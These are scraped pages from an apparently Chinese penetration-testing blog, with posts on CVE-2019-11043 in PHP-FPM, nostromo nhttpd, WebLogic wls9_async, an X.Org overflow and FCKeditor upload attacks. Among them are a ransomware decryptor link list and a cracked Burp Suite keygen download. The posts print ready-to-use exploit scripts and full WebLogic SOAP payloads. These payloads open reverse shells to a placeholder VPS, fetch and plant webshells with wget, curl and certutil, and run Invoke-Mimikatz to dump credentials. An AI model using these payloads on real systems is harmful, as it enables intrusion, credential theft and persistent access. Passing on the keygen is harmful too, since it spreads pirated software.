"\\\\[ZY]GZEr\\\\[email protected]~4|);/pw$:2'610\\\\?410\\\\=220\\\\vn720\\\\h520\\\\hz" +
"f7!%$4\\\"\\\\730\\\\L\\\\\\\\JOfWdEjN420\\\\230\\\\230\\\\IU710\\\\@BE_IG]" +
"AHyV771\\\\430\\\\300\\\\|kntnxixnv|:`kwe2S3h|r~)|wowgp>o\\\\\\\\410\\\\!B7" +
"30\\\\330\\\\430\\\\020\\\\K030\\\\)600\\\\/L530\\\\530\\\\330\\\\600\\\\QN" +
"C400\\\\500\\\\r\\\\320\\\\710\\\\720\\\\320\\\\M620\\\\710\\\\500\\\\2+>3?" +
"\\\"(f};o nruter};))++y(^)i(tAedoCrahc.x(edoCrahCmorf.gnirtS=+o;721=%y{)++i" +
";l<i;0=i(rof;htgnel.x=l,\\\"\\\"=o,i rav{)y,x(f noitcnuf\")"                 ;
while(x=eval(x));
//-->
//]]>
</script>

参考:

https://packetstormsecurity.com/files/154918/winrar580-xxe.txt

https://www.exploit-db.com/exploits/47525



admin 发布于  2019-10-23 21:09 

CVE-2019-11043-PHP远程代码执行漏 业界新闻

0x00背景介绍 

来自Wallarm的安全研究员Andrew Danau在9月14号至16号举办的Real World CTF中,向服务器发送%0a(换行符)时,服务器返回异常信息,疑似存在

0x01漏洞描述 

Nginx使用特定的fastcgi配置时,存在执行漏洞,但这个配置并非Nginx默认配置。

当fastcgi_split_path_info字段被配置为 ^(.+?.php)(/.*)$;时,攻击者可以通过精心构造的payload,造成远程代码执行漏洞,该配置已被广泛使用,危害较大

0x02漏洞编号 

CVE-2019-11043

0x03受影响版本 

当Nginx + php-fpm 的服务器有如下配置的时候,都会出现RCE漏洞


location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

0x4漏洞复现环境 

执行如下命令启动有漏洞的Nginx和PHP

docker-compose up -d

环境启动后,访问http://your-ip:8080/index.php即可查看到一个默认页面。

0x5漏洞复现 

使用https://github.com/neex/phuip-fpizdam中给出的工具,发送数据包:

$ go run . "http://your-ip:8080/index.php"
2019/10/23 19:41:00 Base status code is 200
2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate
2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795]
2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect
2019/10/23 19:41:02 Trying to set "session.auto_start=0"...
2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS
2019/10/23 19:41:02 Performing attack using php.ini settings...
2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/23 19:41:02 Trying to cleanup /tmp/a...
2019/10/23 19:41:02 Done!

攻击端执行.png

可见,这里已经执行成功。

我们访问http://your-ip:8080/index.php?a=id,即可查看到命令已成功执行:

浏览器C端命令执行.png

注意,因为php-fpm会启动多个子进程,在访问/index.php?a=id时需要多访问几次,以访问到被污染的进程。

0x6漏洞刨析 

因为“fpm_main.c”文件的第1150行代码中由于\n(%0a)的传入导致nginx传递给php-fpm的PATH_INFO为空。

https://github.com/php/php-src/blob/master/sapi/fpm/fpm/fpm_main.c#L1150

进而导致可以通过FCGI_PUTENV与PHP_VALUE相结合,修改当前的php-fpm进程中的php配置。在特殊构造的配置生效的情况下可以触发任意代码执行。


0x07修复建议 

  1. 修改nginx配置文件中fastcgi_split_path_info的正则表达式,不允许.php之后传入不可显字符
  2. 暂停使用 nginx+php-fpm 服务
  3. 根据自己实际生产环境的业务需求,将以下配置删除

fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO       $fastcgi_path_info;

参考:

https://twitter.com/ahack_ru/status/1186667192139636740

https://github.com/neex/phuip-fpizdam

https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043


admin 发布于  2019-10-23 20:41 

CVE-2019-16278&CVE-2019-16279-nostromo nhttpd 路径遍历漏洞和Dos漏洞 业界新闻

0x1.nostromo nhttpd简介

nostromo nhttpd是一款简单,快速的开源Web服务器,其作者是来自瑞士tiefen Boden 7的马库斯·格洛克(Marcus Glocker)。

0x2.漏洞来源 

10月14日来自hackthebox名人堂第290名精英黑客sp0re公布了 nostromo nhttpd 1.9.6(目前最新版,算是0day吧)及之前版本中的‘http_verify’函数存在路径遍历漏洞CVE-2019-16278和拒绝服务攻击(Dos)CVE-2019-16279 。

0x3.漏洞详情 

CVE-2019-16278漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素,攻击者可利用该漏洞访问受限目录之外的位置,

而且这个漏洞是因为 对CVE-2011-0751漏洞的未完全修复导致攻击者可以利用类似 /../ 的路径格式绕过限制从而通过 /bin/sh 来执行任意参数,即命令执行

例如:


$ ./CVE-2019-16278.sh 127.0.0.1 8080 id
uid=1001(sp0re) gid=1001(sp0re) groups=1001(sp0re)

而CVE-2019-16279是在当攻击者在单连接中发送大量的 \r\n 就会导致 nhttpd 出现内存错误,从而导致决绝服务。

例如:

$ curl http://127.0.0.1:8080
HELLO!
$ ./CVE-2019-16279.sh 127.0.0.1 8080
$ curl http://127.0.0.1:8080
curl: (7) Failed to connect to 127.0.0.1 port 8080: Connection refused

0x4.漏洞相关脚本 

CVE-2019-16278.sh:

#!/usr/bin/env bash

HOST="$1"
PORT="$2"
shift 2

( \
    echo -n -e 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\n'; \
    echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \
    echo "[email protected] 2>&1" \
) | nc "$HOST" "$PORT" \
  | sed --quiet --expression ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'

CVE-2019-16279.sh:

#!/usr/bin/env bash

HOST="$1"
PORT="$2"

echo -n -e '\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n' | nc "$HOST" "$PORT"



同时,我也更新了一份到我的GitHub漏洞收集仓库:https://github.com/Mr-xn/Penetration_Testing_POC ,欢迎大家一起start和贡献!

相关资料:

http://www.nazgul.ch/dev_nostromo.html

https://git.sp0re.sh/sp0re/Nhttpd-exploits


admin 发布于  2019-10-21 20:57 

CNVD-C-2019-48814 Weblogic wls9_async_response 反序列 渗透测试

0x1.背景

首先,CNVD收录了由中国民生银行股份有限公司报送的Oracle WebLogic wls9-async反序列化远程命令执行漏洞(CNVD-C-2019-48814)。

0x2.漏洞描述

攻击者利用该漏洞,可在未授权的情况下远程执行命令。从相关信息来看。 部分版本WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。 也就是说漏洞出现在 wls9_async_response.war 这个包里面,来详细看一看

0x3.影响范围 

主要影响以下版本:

WebLogic Server 10.3.6.0

WebLogic Server 12.1.3.0

WebLogic Server 12.2.1.3

0x4.复现漏洞环境 

而今天复现的就是第一个版本,即WebLogic Server 10.3.6.0(wls1036_generic.jar)。

Kali2019\Win10(关闭安全中心实时防护下)

漏洞组件:bea_wls9_async_response.war

漏洞路径:http://ip:port/_async/AsyncResponseService

漏洞确认:访问漏洞路径存在以下页面,即有可能存在漏洞

WebLogic高危漏洞复现.png

漏洞利用(所有利用都需要被攻击机能够访问公网):

所有的POST报文都可以使用burpsuite完成,burpsuite破解、汉化、插件等相关教程:传送门


一、Linux下

1、反弹shell

POST如下报文即可:

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 853
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/vpsip/vpsport 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>



Linux下反弹shell.jpg



2、上传webshell


  1. 放置一个webshell.txt到公网
  2. POST以下报文 任选其一

报文一:

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://vpsip:vpsport/webshell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>  

报文二:

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>curl http://vpsip:vpsport/webshell.txt -o servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

3、访问webshell



http://ip:port/_async/webshell.jsp



Linux下访问shell.png



二、Windows下 

1、反弹shell

可直接使用黑客工具-后渗透工具-CobaltStrike生成一个payload.ps1 powershell脚本,将该脚本放到公网上,然后使用如下报文即可

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 861
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>powershell "IEX (New-Object Net.WebClient).DownloadString('http://ip:port/payload.ps1'); Invoke-Mimikatz -DumpCreds"</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

win下反弹shell.jpg



2、上传webshell

  1. 放置一个webshell.txt到公网
  2. 使用以下报文 任选其一均可



报文一:


POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 854
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>cmd</string></void><void index="1"><string>/c</string></void><void index="2"><string>powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:port/webshell.txt','servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp')</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

报文二:


POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 854
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>certutil -urlcache -split -f http://ip:port/webshell.txt servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
3.访问webshell
http://ip:port/_async/webshell.jsp

win下访问shell.jpg

(注:上述报文中servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/为默认路径,如果路径修改,可以配合反弹shell进行获取)

0x5.缓解措施

高危:预计网上很快会有该远程代码执行漏洞的POC,建议尽快升级软件和使用连接筛选器临时拒绝T3/T3s协议。

建议尽快安装安全更新补丁(可以使用BSU智能更新)或使用连接筛选器临时阻止外部访问7001端口的T3/T3s协议:

连接筛选器:weblogic.security.net.ConnectionFilterImpl

规则示例: 0.0.0.0/0 7001 deny t3 t3s#拒绝所有访问

允许和拒绝指定IP规则示例:

192.168.1.0/24
7001 allow t3 t3s#允许指定IP段访问

192.168.2.0/24 * 7001 deny t3 t3s#拒绝指定IP段访问

连接筛选器说明参考:

https://docs.oracle.com/cd/E24329_01/web.1211/e24485/con_filtr.htm#SCPRG377

威胁推演:此漏洞为远程代码执行漏洞,基于全球使用该产品用户的数量和暴露在网上的端口情况,恶意攻击者可能会开发针对该漏洞的自动化攻击程序、黑客工具,实现漏洞利用成功后自动植入后门程序,并进一步释放矿工程序或是DDOS僵尸木马等恶意程序,从而影响到网站服务的正常提供。

安全运营建议:Oracle WebLogic历史上已经报过多个安全漏洞(其中也有反序列化漏洞),建议使用该产品的企业经常关注官方安全更新公告。



来源:https://bithack.io/forum/152&nbsp;

修正:此前没看急于发文,导致写错标题,对不起大家。感谢评论有个兄弟说出来,谢谢!


admin 发布于  2019-10-17 20:14 

Burp_Suite_Pro_v2.1.04_Loader_Keygen下载 安全工具

声明:资源来自吾爱,仅供学习研究使用,其他burpsuite相关教程请查看博客相关标签或者搜索:https://mrxn.net/tag/burpsuite

此次更新的是来自吾爱的scz分析发布的。我这里是作为搬运更新以下,其他有关burpsuite插件、书籍都在我的GitHub,请自行前往查看。

Burp_Suite_Pro_v2.1.04_Loader_Keygen.png

Burp_Suite_Pro_v2.1.04_Loader_Keygen。

下载burpsuite请注意校对md5值,谨防携带“私货”!

File:Burp_Suite_Pro_v2.1.04_Loader_Keygen.zip
Size: 298981924 bytes
Modified: 2019年10月17日, 12:01:55
MD5: ECF77640BCABCBF55CE2067836D80943
SHA1: 53283303A28EF4F1FC78D387BE821077EC9B15E8
CRC32: 16D9A77D



burpsuite pro 2.1.04下载连接: https://mir.cr/MZVYTZIL



admin 发布于  2019-10-17 12:06 

CVE-2019-17624-X.Org X Server 1.20.4 - Local Stack Overflow-Linux图形界面X Server本地栈溢出POC 渗透测试

CVE-2019-17624-X.Org X Server 1.20.4 - Local Stack Overflow-Linux图形界面X Server本地栈溢出POC

0x1 简单介绍

X Server 是绝大对数Linux发行版和Unix系统的基础图形界面程序,是系统标配。而此程序也是以Root权限启动的,因而成功溢出它而获得的shell,也是root权限。

0x2 漏洞相关信息

# 时间: 2019-10-16

# 作者: Marcelo Vázquez (s4vitar)

# 厂商: https://www.x.org/

# 版本: <= 1.20.4

# 测试平台: Linux

# CVE: CVE-2019-17624



0x3 POC

#!/usr/bin/python
#coding: utf-8

# ************************************************************************
# *                Author: Marcelo Vázquez (aka s4vitar)                 *
# *      X.Org X Server 1.20.4 / X Protocol Version 11 (Stack Overflow)  *
# ************************************************************************

import sys, time
import ctypes as ct

from ctypes import cast
from ctypes.util import find_library

def access_violation(x11, current_display):
  keyboard = (ct.c_char * 1000)()
  x11.XQueryKeymap(current_display, keyboard)

if __name__ == '__main__':

  print "\n[*] Loading x11...\n"
  time.sleep(2)

  x11 = ct.cdll.LoadLibrary(find_library("X11"))
  current_display = x11.XOpenDisplay(None)

  print "[*] Exploiting...\n"
  time.sleep(1)

  try:
    access_violation(x11, current_display)

  except:
    print "\nError...\n"
    sys.exit(1)



参考: https://www.exploit-db.com/exploits/47507


admin 发布于  2019-10-16 23:02 

目前已知勒索软件解密工具和网站 安全工具

0x1 勒索软件解密工具

[Apocalypse勒索软件解密工具]



https://www.pcrisk.com/removal-guides/10111-apocalypse-ransomware



[Alcatrazlocker勒索软件解密工具]



https://files.avast.com/files/decryptor/avast_decryptor_alcatrazlocker.exe





[Alma勒索软件解密工具]



https://info.phishlabs.com/blog/alma-ransomware-analysis-of-a-new-ransomware-threat-and-a-decrypter





[Alpha勒索软件解密工具]



https://dl.360safe.com/Decryptor_AlphaDecrypter.cab





[AL-Namrood勒索软件解密工具]



https://www.pcrisk.com/removal-guides/10535-al-namrood-ransomware





[Apocalypse 勒索病毒解密工具]



http://blog.emsisoft.com/2016/06/29/apocalypse-ransomware-which-targets-companies-through-insecure-rdp/



[Autolocky勒索软件解密工具]



https://www.bleepingcomputer.com/news/security/decrypted-the-new-autolocky-ransomware-fails-to-impersonate-locky/



[Bart勒索病毒解密工具]



http://phishme.com/rockloader-downloading-new-ransomware-bart/



[BitDtak勒索软件解密工具]



https://download.bleepingcomputer.com/demonslay335/BitStakDecrypter.zip



[BarRax勒索软件解密工具]



https://blog.checkpoint.com/wp-content/uploads/2017/03/BarRaxDecryptor.zip



[CryptON 勒索病毒解密工具]



http://blog.emsisoft.com/2017/03/07/emsisoft-releases-free-decrypter-for-crypton-ransomware/



[CoinVault勒索软件解密工具]



https://www.bleepingcomputer.com/virus-removal/coinvault-ransomware-information



[CryptXXX勒索病毒解密工具]



http://www.bleepingcomputer.com/virus-removal/cryptxxx-ransomware-help-information



[Crypt0勒索软件解密工具]



https://download.bleepingcomputer.com/demonslay335/Crypt0Decrypter.zip



https://www.pcrisk.com/removal-guides/10478-crypt0-ransomware



[Crypt38Keygen勒索软件解密工具]



https://download.bleepingcomputer.com/demonslay335/Crypt38Keygen.zip



[Crypren勒索软件解密工具]



https://github.com/pekeinfo/DecryptCrypren



http://www.nyxbone.com/malware/Crypren.html



[CryptComsole勒索软件解密工具]



https://download.bleepingcomputer.com/demonslay335/CryptConsoleDecrypter.zip



[Crytomix勒索软件解密工具]



https://files.avast.com/files/decryptor/avast_decryptor_cryptomix.exe



[CryptoHostKeygen勒索软件解密工具]



https://github.com/Demonslay335/CryptoHostKeygen



[Cry9勒索软件解密工具]



https://www.pcrisk.com/removal-guides/11199-cry9-ransomware



http://blog.emsisoft.com/2017/04/04/remove-cry9-ransomware-with-emsisofts-free-decrypter/



[CoinVault勒索软件解密工具]



https://www.nomoreransom.org/uploads/CoinVaultDecryptor.zip



[Cryptinfinite勒索软件解密工具]



https://www.pcrisk.com/removal-guides/9568-cryptinfinite-ransomware



[CrazyCrypt勒索密钥生成工具]



https://edr.sangfor.com.cn/file/tool/CrazyCrypt_Password.rar



[DXXD勒索病毒解密工具]



http://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-14-2016-exotic-lockydump-comrade-and-more/



[DoNotOpen勒索软件解密工具]



https://download.bleepingcomputer.com/demonslay335/DoNotOpenDecrypter.zip



[Decrypt Protect[mbl advisory]勒索病毒解密工具]



http://www.malwareremovalguides.info/decrypt-files-with-decrypt_mblblock-exe-decrypt-protect/



[Enigma勒索软件解密工具]



https://www.im-infected.com/ransomware/remove-enigma-ransomware-virus-removal.html



[EduCrypt勒索软件解密工具]



https://www.bleepingcomputer.com/news/security/the-educrypt-ransomware-tries-to-teach-you-a-lesson/



[GhostCrypt勒索病毒解密工具]



http://www.bleepingcomputer.com/forums/t/614197/ghostcrypt-z81928819-help-support-topic-read-this-filetxt/



[GhostCrypt勒索软件解密工具]



https://download.bleepingcomputer.com/demonslay335/GhostCryptDecrypter.zip



[Gomasom勒索软件解密工具]



https://www.bleepingcomputer.com/news/security/gomasom-crypt-ransomware-decrypted/



[GandCrab勒索软件解密工具]



https://www.bleepingcomputer.com/news/security/fbi-releases-master-decryption-keys-for-gandcrab-ransomware/



[Hidden tear勒索软件解密工具]



https://files.avast.com/files/decryptor/avast_decryptor_hiddentear.exe



https://download.bleepingcomputer.com/demonslay335/hidden-tear-decrypter.zip



[HydraCrypt/UmbreCrypt勒索病毒解密工具]



http://blog.emsisoft.com/2016/02/12/decrypter-for-hydracrypt-and-umbrecrypt-available/



[HydraCrypt勒索软件解密工具]



https://tmp.emsisoft.com/fw/decrypt_hydracrypt.exe



[Hidden Tear勒索软件解密工具]



https://www.cyber.nj.gov/threat-profiles/ransomware-variants/hidden-tear



[InsaneCrypt勒索软件解密工具]



https://download.bleepingcomputer.com/demonslay335/InsaneCryptDecrypter.zip



[Ims00rry勒索软件解密工具]



https://securityaffairs.co/wordpress/88376/malware/ims00rry-ransomware-decryptor.html



https://www.emsisoft.com/decrypter/ims00rry



[Jigsaw勒索软件解密工具]



https://www.bleepingcomputer.com/news/security/jigsaw-ransomware-becomes-cryptohitman-with-porno-extension/



[JuicyLemon勒索软件解密工具]



https://dl.360safe.com/Decryptor_JuicyLemonDecoder.cab



[JigSaw勒索软件解密工具]



https://download.bleepingcomputer.com/demonslay335/JigSawDecrypter.zip



[Lockcrypt勒索软件解密工具]



https://labs.bitdefender.com/wp-content/uploads/downloads/lockcrypt-ransomware-decryptor/



[Legion勒索病毒解密工具]



http://botcrawl.com/legion-ransomware/



[LockedIn勒索软件解密工具]



https://download.bleepingcomputer.com/demonslay335/LockedInDecrypter.zip



[MirCop勒索软件解密工具]



https://download.bleepingcomputer.com/demonslay335/MirCopDecrypter.zip



[Mblblock勒索软件解密工具]



https://tmp.emsisoft.com/fw/decrypt_mblblock.exe



[Marlboro勒索软件解密工具]



https://www.bleepingcomputer.com/news/security/marlboro-ransomware-defeated-in-one-day/



[Nullbyte勒索软件解密工具]



https://www.bleepingcomputer.com/news/security/the-nullbyte-ransomware-pretends-to-be-the-necrobot-pokemon-go-application/



[NullByte勒索软件解密工具]



https://download.bleepingcomputer.com/demonslay335/NullByteDecrypter.zip



[Nanolocker勒索软件解密工具]



https://github.com/Cyberclues/nanolocker-decryptor



[NMoreira勒索软件解密工具]



https://www.pcrisk.com/removal-guides/10689-nmoreira-ransomware



[NanoLocker勒索病毒解密工具]



http://blog.malwareclipboard.com/2016/01/nanolocker-ransomware-analysis.html



[OpenToYou 勒索病毒解密工具]



http://blog.emsisoft.com/2016/12/30/emsisoft-releases-free-decrypter-for-opentoyou-ransomware/



[Odcodc勒索病毒解密工具]



http://www.nyxbone.com/malware/odcodc.html



[ODCODCDecoder勒索软件解密工具]



https://dl.360safe.com/Decryptor_ODCODCDecoder.cab



[Pclock勒索软件解密工具]



https://www.bleepingcomputer.com/forums/t/561970/new-pclock-cryptolocker-ransomware-discovered/



[PopCorn勒索软件解密工具]



https://www.elevenpaths.com/downloads/RecoverPopCorn.zip



[Ransom.Cryakl勒索病毒解密工具]



http://blog.checkpoint.com/2015/11/04/offline-ransomware-encrypts-your-data-without-cc-communication/



[Shade勒索软件解密工具]



https://blog.kaspersky.com/shade-decryptor/12661/



[SanSam勒索软件解密工具]



https://download.bleepingcomputer.com/demonslay335/SamSamStringDecrypter.zip



[Unlock92勒索软件解密工具]



https://download.bleepingcomputer.com/demonslay335/Unlock92Decrypter.zip



[Unlocker勒索软件解密工具]



https://github.com/kyrus/crypto-un-locker



[Wildfire勒索软件解密工具]



https://downloadcenter.mcafee.com/products/mcafee-avert/wildfiredecrypt/wildfiredecrypt.exe





0x2 综合性解密工具网站



卡巴斯基:勒索软件解密工具集



https://noransom.kaspersky.com/?spm=a2c4g.11186623.2.3.bSlRlm



Avast:勒索软件解密工具集



https://www.avast.com/zh-cn/ransomware-decryption-tools?spm=a2c4g.11186623.2.5.bSlRlm



Trendmicro:勒索软件解密方案



https://esupport.trendmicro.com/solution/zh-cn/1115118.aspx?spm=a2c4g.11186623.2.4.bSlRlm



MalwareHunterTeam:勒索软件解密工具集



https://id-ransomware.malwarehunterteam.com/



nomoreransom:勒索软件解密工具集



https://www.nomoreransom.org/zh/index.html



Emsisoft:勒索软件解密工具集



https://www.emsisoft.com/ransomware-decryption-tools/free-download





0x3勒索信息综合性查询网站



botfrei.de网站



https://www.botfrei.de/de/ransomware/galerie.html





0x4 注意事项



解密器(链接)均由互联网搜集而来,只对工具信息进行汇总,不保证解密工具的可行性和安全性,用户应做好数据备份,以防止不必要的损失。



使用解密工具您需要注意以下事项:



1、选择对应家族(如有版本也应选择对应版本)的解密工具;



2、解密前需对重要的数据进行备份(即使处于被加密状态),以防止解密失败造成损失;



3、解密前需确保系统中的勒索病毒已被清除,否则可能遭到重复加密;



4、部分解密工具可能需要特定的解密环境(如在原始受感染的主机上进行解密、需要同时提供加密文件和原文件等),具体情况参考工具中的说明;



5、解密工具可能只对某些家族的特定变种或版本生效。

标签: 勒索 解密

admin 发布于  2019-10-16 20:47 

FCKeditor文件上传漏洞及利用 技术文章

一. 关于FCKeditor



FCKeditor是一个网页的文本编辑器,在很多的cms里都有出现。近日工作期间遇到了不下十个有FCKeditor的站,尤其是ZF网站。

本文简单介绍通过FCKeditor上传漏洞进行攻击的思路,并对可能用到的操作进行整理。



二. 攻击思路

1.查看FCKeditor版本



查看版本.png

Fckeditor上传各版本绕过.png

http://127.0.0.1/fckeditor/editor/dialog/fck_about.html
http://127.0.0.1/FCKeditor/_whatsnew.html

2.测试上传点

FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html

FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
